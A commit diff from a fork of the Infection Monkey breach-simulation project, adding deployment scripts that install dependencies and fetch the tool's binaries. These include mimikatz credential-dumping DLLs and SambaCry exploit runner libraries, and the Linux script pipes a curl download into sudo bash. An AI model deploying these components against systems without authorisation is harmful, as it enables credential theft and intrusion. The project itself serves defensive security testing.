forked from p15670423/monkey
Merge remote-tracking branch 'origin/develop' into feature/run-aws-monkey
This commit is contained in:
commit
4e8fe0ec3f
|
@ -41,10 +41,13 @@ Setup
|
||||||
-------------------------------
|
-------------------------------
|
||||||
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/).
|
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/).
|
||||||
|
|
||||||
|
The Infection Monkey supports a variety of platforms, documented [in the wiki](https://github.com/guardicore/monkey/wiki/OS-compatibility).
|
||||||
|
|
||||||
|
|
||||||
Building the Monkey from source
|
Building the Monkey from source
|
||||||
-------------------------------
|
-------------------------------
|
||||||
If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
|
To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) folder.
|
||||||
|
If you only want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
|
||||||
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).
|
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,23 @@
|
||||||
|
# Files used to deploy development version of infection monkey
|
||||||
|
## Windows
|
||||||
|
|
||||||
|
Before running the script you must have git installed.<br>
|
||||||
|
Cd to scripts directory and use the scripts.<br>
|
||||||
|
First argument is an empty directory (script can create one) and second is branch you want to clone.
|
||||||
|
Example usages:<br>
|
||||||
|
./run_script.bat (Sets up monkey in current directory under .\infection_monkey)<br>
|
||||||
|
./run_script.bat "C:\test" (Sets up monkey in C:\test)<br>
|
||||||
|
powershell -ExecutionPolicy ByPass -Command ". .\deploy_windows.ps1; Deploy-Windows -monkey_home C:\test" (Same as above)<br>
|
||||||
|
./run_script.bat "" "master"(Sets up master branch instead of develop in current dir)
|
||||||
|
Don't forget to add python to PATH or do so while installing it via this script.<br>
|
||||||
|
|
||||||
|
## Linux
|
||||||
|
|
||||||
|
You must have root permissions, but there is no need to run the script as root.<br>
|
||||||
|
Launch deploy_linux.sh from scripts directory.<br>
|
||||||
|
First argument is an empty directory (script can create one) and second is branch you want to clone.
|
||||||
|
Example usages:<br>
|
||||||
|
./deploy_linux.sh (deploys under ./infection_monkey)<br>
|
||||||
|
./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)<br>
|
||||||
|
./deploy_linux.sh "" "master" (deploys master branch in script directory)<br>
|
||||||
|
./deploy_linux.sh "/home/user/new" "master" (if directory "new" is not found creates it and clones master branch into it)<br>
|
|
@ -0,0 +1,19 @@
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
# Absolute monkey's path
|
||||||
|
MONKEY_FOLDER_NAME="infection_monkey"
|
||||||
|
# Url of public git repository that contains monkey's source code
|
||||||
|
MONKEY_GIT_URL="https://github.com/guardicore/monkey"
|
||||||
|
|
||||||
|
# Monkey binaries
|
||||||
|
LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
|
||||||
|
LINUX_32_BINARY_NAME="monkey-linux-32"
|
||||||
|
LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64"
|
||||||
|
LINUX_64_BINARY_NAME="monkey-linux-64"
|
||||||
|
WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe"
|
||||||
|
WINDOWS_32_BINARY_NAME="monkey-windows-32.exe"
|
||||||
|
WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
|
||||||
|
WINDOWS_64_BINARY_NAME="monkey-windows-64.exe"
|
||||||
|
|
||||||
|
# Mongo url's
|
||||||
|
MONGO_DEBIAN_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz"
|
||||||
|
MONGO_UBUNTU_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz"
|
|
@ -0,0 +1,48 @@
|
||||||
|
# Absolute monkey's path
|
||||||
|
$MONKEY_FOLDER_NAME = "infection_monkey"
|
||||||
|
# Url of public git repository that contains monkey's source code
|
||||||
|
$MONKEY_GIT_URL = "https://github.com/guardicore/monkey"
|
||||||
|
# Link to the latest python download or install it manually
|
||||||
|
$PYTHON_URL = "https://www.python.org/ftp/python/2.7.13/python-2.7.13.amd64.msi"
|
||||||
|
|
||||||
|
# Monkey binaries
|
||||||
|
$LINUX_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32"
|
||||||
|
$LINUX_32_BINARY_PATH = "monkey-linux-32"
|
||||||
|
$LINUX_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64"
|
||||||
|
$LINUX_64_BINARY_PATH = "monkey-linux-64"
|
||||||
|
$WINDOWS_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe"
|
||||||
|
$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe"
|
||||||
|
$WINDOWS_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe"
|
||||||
|
$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe"
|
||||||
|
$SAMBA_32_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner32.so"
|
||||||
|
$SAMBA_32_BINARY_NAME= "sc_monkey_runner32.so"
|
||||||
|
$SAMBA_64_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner64.so"
|
||||||
|
$SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so"
|
||||||
|
|
||||||
|
# Other directories and paths ( most likely you dont need to configure)
|
||||||
|
$MONKEY_ISLAND_DIR = "\monkey\monkey_island"
|
||||||
|
$MONKEY_DIR = "\monkey\infection_monkey"
|
||||||
|
$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner"
|
||||||
|
$PYTHON_DLL = "C:\Windows\System32\python27.dll"
|
||||||
|
$MK32_DLL = "mk32.dll"
|
||||||
|
$MK64_DLL = "mk64.dll"
|
||||||
|
$TEMP_PYTHON_INSTALLER = ".\python.msi"
|
||||||
|
$TEMP_MONGODB_ZIP = ".\mongodb.zip"
|
||||||
|
$TEMP_OPEN_SSL_ZIP = ".\openssl.zip"
|
||||||
|
$TEMP_CPP_INSTALLER = "cpp.exe"
|
||||||
|
$TEMP_NPM_INSTALLER = "node.msi"
|
||||||
|
$TEMP_PYWIN32_INSTALLER = "pywin32.exe"
|
||||||
|
$TEMP_UPX_ZIP = "upx.zip"
|
||||||
|
$TEMP_VC_FOR_PYTHON27_INSTALLER = "vcforpython.msi"
|
||||||
|
$UPX_FOLDER = "upx394w"
|
||||||
|
|
||||||
|
# Other url's
|
||||||
|
$VC_FOR_PYTHON27_URL = "https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi"
|
||||||
|
$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip"
|
||||||
|
$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip"
|
||||||
|
$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572"
|
||||||
|
$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi"
|
||||||
|
$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe"
|
||||||
|
$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip"
|
||||||
|
$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.dll"
|
||||||
|
$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.dll"
|
|
@ -0,0 +1,157 @@
|
||||||
|
#!/bin/bash
|
||||||
|
source config
|
||||||
|
|
||||||
|
# Setup monkey either in dir required or current dir
|
||||||
|
monkey_home=${1:-`pwd`}
|
||||||
|
if [[ $monkey_home == `pwd` ]]; then
|
||||||
|
monkey_home="$monkey_home/$MONKEY_FOLDER_NAME"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# We can set main paths after we know the home dir
|
||||||
|
ISLAND_PATH="$monkey_home/monkey/monkey_island"
|
||||||
|
MONKEY_COMMON_PATH="$monkey_home/monkey/common/"
|
||||||
|
MONGO_PATH="$ISLAND_PATH/bin/mongodb"
|
||||||
|
MONGO_BIN_PATH="$MONGO_PATH/bin"
|
||||||
|
ISLAND_DB_PATH="$ISLAND_PATH/db"
|
||||||
|
ISLAND_BINARIES_PATH="$ISLAND_PATH/cc/binaries"
|
||||||
|
|
||||||
|
handle_error () {
|
||||||
|
echo "Fix the errors above and rerun the script"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
log_message () {
|
||||||
|
echo -e "\n\n-------------------------------------------"
|
||||||
|
echo -e "DEPLOYMENT SCRIPT: $1"
|
||||||
|
echo -e "-------------------------------------------\n"
|
||||||
|
}
|
||||||
|
|
||||||
|
sudo -v
|
||||||
|
if [[ $? != 0 ]]; then
|
||||||
|
echo "You need root permissions for some of this script operations. Quiting."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ ! -d ${monkey_home} ]]; then
|
||||||
|
mkdir -p ${monkey_home}
|
||||||
|
fi
|
||||||
|
|
||||||
|
git --version &>/dev/null
|
||||||
|
git_available=$?
|
||||||
|
if [[ ${git_available} != 0 ]]; then
|
||||||
|
echo "Please install git and re-run this script"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
log_message "Cloning files from git"
|
||||||
|
branch=${2:-"develop"}
|
||||||
|
if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned
|
||||||
|
git clone --single-branch -b $branch ${MONKEY_GIT_URL} ${monkey_home} 2>&1 || handle_error
|
||||||
|
chmod 774 -R ${monkey_home}
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Create folders
|
||||||
|
log_message "Creating island dirs under $ISLAND_PATH"
|
||||||
|
mkdir -p ${MONGO_BIN_PATH}
|
||||||
|
mkdir -p ${ISLAND_DB_PATH}
|
||||||
|
mkdir -p ${ISLAND_BINARIES_PATH} || handle_error
|
||||||
|
|
||||||
|
python_version=`python --version 2>&1`
|
||||||
|
if [[ ${python_version} == *"command not found"* ]] || [[ ${python_version} != *"Python 2.7"* ]]; then
|
||||||
|
echo "Python 2.7 is not found or is not a default interpreter for 'python' command..."
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
log_message "Updating package list"
|
||||||
|
sudo apt-get update
|
||||||
|
|
||||||
|
log_message "Installing pip"
|
||||||
|
sudo apt-get install python-pip
|
||||||
|
|
||||||
|
log_message "Installing island requirements"
|
||||||
|
requirements="$ISLAND_PATH/requirements.txt"
|
||||||
|
python -m pip install --user -r ${requirements} || handle_error
|
||||||
|
|
||||||
|
# Download binaries
|
||||||
|
log_message "Downloading binaries"
|
||||||
|
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_32_BINARY_URL}
|
||||||
|
wget -c -N -P ${ISLAND_BINARIES_PATH} ${LINUX_64_BINARY_URL}
|
||||||
|
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_32_BINARY_URL}
|
||||||
|
wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
|
||||||
|
# Allow them to be executed
|
||||||
|
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
|
||||||
|
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
|
||||||
|
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME"
|
||||||
|
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME"
|
||||||
|
|
||||||
|
# Get machine type/kernel version
|
||||||
|
kernel=`uname -m`
|
||||||
|
linux_dist=`lsb_release -a 2> /dev/null`
|
||||||
|
|
||||||
|
# If a user haven't installed mongo manually check if we can install it with our script
|
||||||
|
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]] && { [[ ${kernel} != "x86_64" ]] || \
|
||||||
|
{ [[ ${linux_dist} != *"Debian"* ]] && [[ ${linux_dist} != *"Ubuntu"* ]]; }; }; then
|
||||||
|
echo "Script does not support your operating system for mongodb installation.
|
||||||
|
Reference monkey island readme and install it manually"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Download mongo
|
||||||
|
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]]; then
|
||||||
|
log_message "Downloading mongodb"
|
||||||
|
if [[ ${linux_dist} == *"Debian"* ]]; then
|
||||||
|
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_DEBIAN_URL}
|
||||||
|
elif [[ ${linux_dist} == *"Ubuntu"* ]]; then
|
||||||
|
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_UBUNTU_URL}
|
||||||
|
fi
|
||||||
|
tar --strip 2 --wildcards -C ${MONGO_BIN_PATH} -zxvf /tmp/mongo.tgz mongo*/bin/* || handle_error
|
||||||
|
else
|
||||||
|
log_message "Mongo db already installed"
|
||||||
|
fi
|
||||||
|
|
||||||
|
log_message "Installing openssl"
|
||||||
|
sudo apt-get install openssl
|
||||||
|
|
||||||
|
# Generate SSL certificate
|
||||||
|
log_message "Generating certificate"
|
||||||
|
cd ${ISLAND_PATH} || handle_error
|
||||||
|
openssl genrsa -out cc/server.key 1024 || handle_error
|
||||||
|
openssl req -new -key cc/server.key -out cc/server.csr \
|
||||||
|
-subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" || handle_error
|
||||||
|
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error
|
||||||
|
|
||||||
|
|
||||||
|
chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
|
||||||
|
${ISLAND_PATH}/linux/create_certificate.sh || handle_error
|
||||||
|
|
||||||
|
# Install npm
|
||||||
|
log_message "Installing npm"
|
||||||
|
sudo apt-get install npm
|
||||||
|
|
||||||
|
# Update node
|
||||||
|
log_message "Updating node"
|
||||||
|
curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
|
||||||
|
sudo apt-get install -y nodejs
|
||||||
|
|
||||||
|
log_message "Generating front end"
|
||||||
|
cd "$ISLAND_PATH/cc/ui" || handle_error
|
||||||
|
npm update
|
||||||
|
npm run dist
|
||||||
|
|
||||||
|
# Monkey setup
|
||||||
|
log_message "Installing monkey requirements"
|
||||||
|
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
|
||||||
|
cd ${monkey_home}/monkey/infection_monkey || handle_error
|
||||||
|
python -m pip install --user -r requirements.txt || handle_error
|
||||||
|
|
||||||
|
# Build samba
|
||||||
|
log_message "Building samba binaries"
|
||||||
|
sudo apt-get install gcc-multilib
|
||||||
|
cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
|
||||||
|
chmod +x ./build.sh || handle_error
|
||||||
|
./build.sh
|
||||||
|
|
||||||
|
chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh
|
||||||
|
|
||||||
|
log_message "Deployment script finished."
|
||||||
|
exit 0
|
|
@ -0,0 +1,215 @@
|
||||||
|
function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName, [String] $branch = "develop"){
|
||||||
|
# Import the config variables
|
||||||
|
. ./config.ps1
|
||||||
|
"Config variables from config.ps1 imported"
|
||||||
|
|
||||||
|
# If we want monkey in current dir we need to create an empty folder for source files
|
||||||
|
if ( (Join-Path $monkey_home '') -eq (Join-Path (Get-Item -Path ".\").FullName '') ){
|
||||||
|
$monkey_home = Join-Path -Path $monkey_home -ChildPath $MONKEY_FOLDER_NAME
|
||||||
|
}
|
||||||
|
|
||||||
|
# Set variables for script execution
|
||||||
|
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
|
||||||
|
$webClient = New-Object System.Net.WebClient
|
||||||
|
|
||||||
|
# We check if git is installed
|
||||||
|
try
|
||||||
|
{
|
||||||
|
git | Out-Null -ErrorAction Stop
|
||||||
|
"Git requirement satisfied"
|
||||||
|
}
|
||||||
|
catch [System.Management.Automation.CommandNotFoundException]
|
||||||
|
{
|
||||||
|
"Please install git before running this script or add it to path and restart cmd"
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
# Download the monkey
|
||||||
|
$output = cmd.exe /c "git clone --single-branch -b $branch $MONKEY_GIT_URL $monkey_home 2>&1"
|
||||||
|
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\bin")
|
||||||
|
if ( $output -like "*already exists and is not an empty directory.*"){
|
||||||
|
"Assuming you already have the source directory. If not, make sure to set an empty directory as monkey's home directory."
|
||||||
|
} elseif ($output -like "fatal:*"){
|
||||||
|
"Error while cloning monkey from the repository:"
|
||||||
|
$output
|
||||||
|
return
|
||||||
|
} else {
|
||||||
|
"Monkey cloned from the repository"
|
||||||
|
# Create bin directory
|
||||||
|
New-Item -ItemType directory -path $binDir
|
||||||
|
"Bin directory added"
|
||||||
|
}
|
||||||
|
|
||||||
|
# We check if python is installed
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$version = cmd.exe /c '"python" --version 2>&1'
|
||||||
|
if ( $version -like 'Python 2.7.*' ) {
|
||||||
|
"Python 2.7.* was found, installing dependancies"
|
||||||
|
} else {
|
||||||
|
throw System.Management.Automation.CommandNotFoundException
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch [System.Management.Automation.CommandNotFoundException]
|
||||||
|
{
|
||||||
|
"Downloading python 2.7 ..."
|
||||||
|
$webClient.DownloadFile($PYTHON_URL, $TEMP_PYTHON_INSTALLER)
|
||||||
|
Start-Process -Wait $TEMP_PYTHON_INSTALLER -ErrorAction Stop
|
||||||
|
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
|
||||||
|
Remove-Item $TEMP_PYTHON_INSTALLER
|
||||||
|
# Check if installed correctly
|
||||||
|
$version = cmd.exe /c '"python" --version 2>&1'
|
||||||
|
if ( $version -like '* is not recognized*' ) {
|
||||||
|
"Python is not found in PATH. Add it manually or reinstall python."
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Set python home dir
|
||||||
|
$PYTHON_PATH = Split-Path -Path (Get-Command python | Select-Object -ExpandProperty Source)
|
||||||
|
|
||||||
|
# Get vcforpython27 before installing requirements
|
||||||
|
"Downloading Visual C++ Compiler for Python 2.7 ..."
|
||||||
|
$webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
|
||||||
|
Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
|
||||||
|
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
|
||||||
|
Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER
|
||||||
|
|
||||||
|
# Install requirements for island
|
||||||
|
$islandRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\requirements.txt" -ErrorAction Stop
|
||||||
|
"Upgrading pip..."
|
||||||
|
$output = cmd.exe /c 'python -m pip install --user --upgrade pip 2>&1'
|
||||||
|
$output
|
||||||
|
if ( $output -like '*No module named pip*' ) {
|
||||||
|
"Make sure pip module is installed and re-run this script."
|
||||||
|
return
|
||||||
|
}
|
||||||
|
& python -m pip install --user -r $islandRequirements
|
||||||
|
# Install requirements for monkey
|
||||||
|
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt"
|
||||||
|
& python -m pip install --user -r $monkeyRequirements
|
||||||
|
|
||||||
|
# Download mongodb
|
||||||
|
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "mongodb") )){
|
||||||
|
"Downloading mongodb ..."
|
||||||
|
$webClient.DownloadFile($MONGODB_URL, $TEMP_MONGODB_ZIP)
|
||||||
|
"Unzipping mongodb"
|
||||||
|
Expand-Archive $TEMP_MONGODB_ZIP -DestinationPath $binDir
|
||||||
|
# Get unzipped folder's name
|
||||||
|
$mongodb_folder = Get-ChildItem -Path $binDir | Where-Object -FilterScript {($_.Name -like "mongodb*")} | Select-Object -ExpandProperty Name
|
||||||
|
# Move all files from extracted folder to mongodb folder
|
||||||
|
New-Item -ItemType directory -Path (Join-Path -Path $binDir -ChildPath "mongodb")
|
||||||
|
New-Item -ItemType directory -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "db")
|
||||||
|
"Moving extracted files"
|
||||||
|
Move-Item -Path (Join-Path -Path $binDir -ChildPath $mongodb_folder | Join-Path -ChildPath "\bin\*") -Destination (Join-Path -Path $binDir -ChildPath "mongodb\")
|
||||||
|
"Removing zip file"
|
||||||
|
Remove-Item $TEMP_MONGODB_ZIP
|
||||||
|
Remove-Item (Join-Path -Path $binDir -ChildPath $mongodb_folder) -Recurse
|
||||||
|
}
|
||||||
|
|
||||||
|
# Download OpenSSL
|
||||||
|
"Downloading OpenSSL ..."
|
||||||
|
$webClient.DownloadFile($OPEN_SSL_URL, $TEMP_OPEN_SSL_ZIP)
|
||||||
|
"Unzipping OpenSSl"
|
||||||
|
Expand-Archive $TEMP_OPEN_SSL_ZIP -DestinationPath (Join-Path -Path $binDir -ChildPath "openssl") -ErrorAction SilentlyContinue
|
||||||
|
"Removing zip file"
|
||||||
|
Remove-Item $TEMP_OPEN_SSL_ZIP
|
||||||
|
|
||||||
|
# Download and install C++ redistributable
|
||||||
|
"Downloading C++ redistributable ..."
|
||||||
|
$webClient.DownloadFile($CPP_URL, $TEMP_CPP_INSTALLER)
|
||||||
|
Start-Process -Wait $TEMP_CPP_INSTALLER -ErrorAction Stop
|
||||||
|
Remove-Item $TEMP_CPP_INSTALLER
|
||||||
|
|
||||||
|
# Generate ssl certificate
|
||||||
|
"Generating ssl certificate"
|
||||||
|
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR)
|
||||||
|
. .\windows\create_certificate.bat
|
||||||
|
Pop-Location
|
||||||
|
|
||||||
|
# Adding binaries
|
||||||
|
"Adding binaries"
|
||||||
|
$binaries = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\binaries")
|
||||||
|
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
|
||||||
|
$webClient.DownloadFile($LINUX_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_32_BINARY_PATH))
|
||||||
|
$webClient.DownloadFile($LINUX_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $LINUX_64_BINARY_PATH))
|
||||||
|
$webClient.DownloadFile($WINDOWS_32_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_32_BINARY_PATH))
|
||||||
|
$webClient.DownloadFile($WINDOWS_64_BINARY_URL, (Join-Path -Path $binaries -ChildPath $WINDOWS_64_BINARY_PATH))
|
||||||
|
|
||||||
|
# Check if NPM installed
|
||||||
|
"Installing npm"
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$version = cmd.exe /c '"npm" --version 2>&1'
|
||||||
|
if ( $version -like "*is not recognized*"){
|
||||||
|
throw System.Management.Automation.CommandNotFoundException
|
||||||
|
} else {
|
||||||
|
"Npm already installed"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch [System.Management.Automation.CommandNotFoundException]
|
||||||
|
{
|
||||||
|
"Downloading npm ..."
|
||||||
|
$webClient.DownloadFile($NPM_URL, $TEMP_NPM_INSTALLER)
|
||||||
|
Start-Process -Wait $TEMP_NPM_INSTALLER
|
||||||
|
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
|
||||||
|
Remove-Item $TEMP_NPM_INSTALLER
|
||||||
|
}
|
||||||
|
|
||||||
|
"Updating npm"
|
||||||
|
Push-Location -Path (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\cc\ui")
|
||||||
|
& npm update
|
||||||
|
& npm run dist
|
||||||
|
Pop-Location
|
||||||
|
|
||||||
|
# Install pywin32
|
||||||
|
"Downloading pywin32"
|
||||||
|
$webClient.DownloadFile($PYWIN32_URL, $TEMP_PYWIN32_INSTALLER)
|
||||||
|
Start-Process -Wait $TEMP_PYWIN32_INSTALLER -ErrorAction Stop
|
||||||
|
Remove-Item $TEMP_PYWIN32_INSTALLER
|
||||||
|
|
||||||
|
# Create infection_monkey/bin directory if not already present
|
||||||
|
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\bin")
|
||||||
|
New-Item -ItemType directory -path $binaries -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
# Download upx
|
||||||
|
if(!(Test-Path -Path (Join-Path -Path $binDir -ChildPath "upx.exe") )){
|
||||||
|
"Downloading upx ..."
|
||||||
|
$webClient.DownloadFile($UPX_URL, $TEMP_UPX_ZIP)
|
||||||
|
"Unzipping upx"
|
||||||
|
Expand-Archive $TEMP_UPX_ZIP -DestinationPath $binDir -ErrorAction SilentlyContinue
|
||||||
|
Move-Item -Path (Join-Path -Path $binDir -ChildPath $UPX_FOLDER | Join-Path -ChildPath "upx.exe") -Destination $binDir
|
||||||
|
# Remove unnecessary files
|
||||||
|
Remove-Item -Recurse -Force (Join-Path -Path $binDir -ChildPath $UPX_FOLDER)
|
||||||
|
"Removing zip file"
|
||||||
|
Remove-Item $TEMP_UPX_ZIP
|
||||||
|
}
|
||||||
|
|
||||||
|
# Download mimikatz binaries
|
||||||
|
$mk32_path = Join-Path -Path $binDir -ChildPath $MK32_DLL
|
||||||
|
if(!(Test-Path -Path $mk32_path )){
|
||||||
|
"Downloading mimikatz 32 binary"
|
||||||
|
$webClient.DownloadFile($MK32_DLL_URL, $mk32_path)
|
||||||
|
}
|
||||||
|
$mk64_path = Join-Path -Path $binDir -ChildPath $MK64_DLL
|
||||||
|
if(!(Test-Path -Path $mk64_path )){
|
||||||
|
"Downloading mimikatz 64 binary"
|
||||||
|
$webClient.DownloadFile($MK64_DLL_URL, $mk64_path)
|
||||||
|
}
|
||||||
|
|
||||||
|
# Download sambacry binaries
|
||||||
|
$samba_path = Join-Path -Path $monkey_home -ChildPath $SAMBA_BINARIES_DIR
|
||||||
|
$samba32_path = Join-Path -Path $samba_path -ChildPath $SAMBA_32_BINARY_NAME
|
||||||
|
if(!(Test-Path -Path $samba32_path )){
|
||||||
|
"Downloading sambacry 32 binary"
|
||||||
|
$webClient.DownloadFile($SAMBA_32_BINARY_URL, $samba32_path)
|
||||||
|
}
|
||||||
|
$samba64_path = Join-Path -Path $samba_path -ChildPath $SAMBA_64_BINARY_NAME
|
||||||
|
if(!(Test-Path -Path $samba64_path )){
|
||||||
|
"Downloading sambacry 64 binary"
|
||||||
|
$webClient.DownloadFile($SAMBA_64_BINARY_URL, $samba64_path)
|
||||||
|
}
|
||||||
|
|
||||||
|
"Script finished"
|
||||||
|
|
||||||
|
}
|
|
@ -0,0 +1,8 @@
|
||||||
|
SET command=. .\deploy_windows.ps1; Deploy-Windows
|
||||||
|
if NOT "%~1" == "" (
|
||||||
|
SET "command=%command% -monkey_home %~1"
|
||||||
|
)
|
||||||
|
if NOT "%~2" == "" (
|
||||||
|
SET "command=%command% -branch %~2"
|
||||||
|
)
|
||||||
|
powershell -ExecutionPolicy ByPass -Command %command%
|
|
@ -1,3 +1,4 @@
|
||||||
|
import re
|
||||||
import urllib2
|
import urllib2
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
@ -6,12 +7,24 @@ __author__ = 'itay.mizeretz'
|
||||||
class AwsInstance(object):
|
class AwsInstance(object):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
try:
|
try:
|
||||||
self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read()
|
self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read()
|
||||||
self.region = urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1]
|
self.region = self._parse_region(
|
||||||
|
urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read())
|
||||||
except urllib2.URLError:
|
except urllib2.URLError:
|
||||||
self.instance_id = None
|
self.instance_id = None
|
||||||
self.region = None
|
self.region = None
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _parse_region(region_url_response):
|
||||||
|
# For a list of regions: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html
|
||||||
|
# This regex will find any AWS region format string in the response.
|
||||||
|
re_phrase = r'((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])'
|
||||||
|
finding = re.findall(re_phrase, region_url_response, re.IGNORECASE)
|
||||||
|
if finding:
|
||||||
|
return finding[0]
|
||||||
|
else:
|
||||||
|
return None
|
||||||
|
|
||||||
def get_instance_id(self):
|
def get_instance_id(self):
|
||||||
return self.instance_id
|
return self.instance_id
|
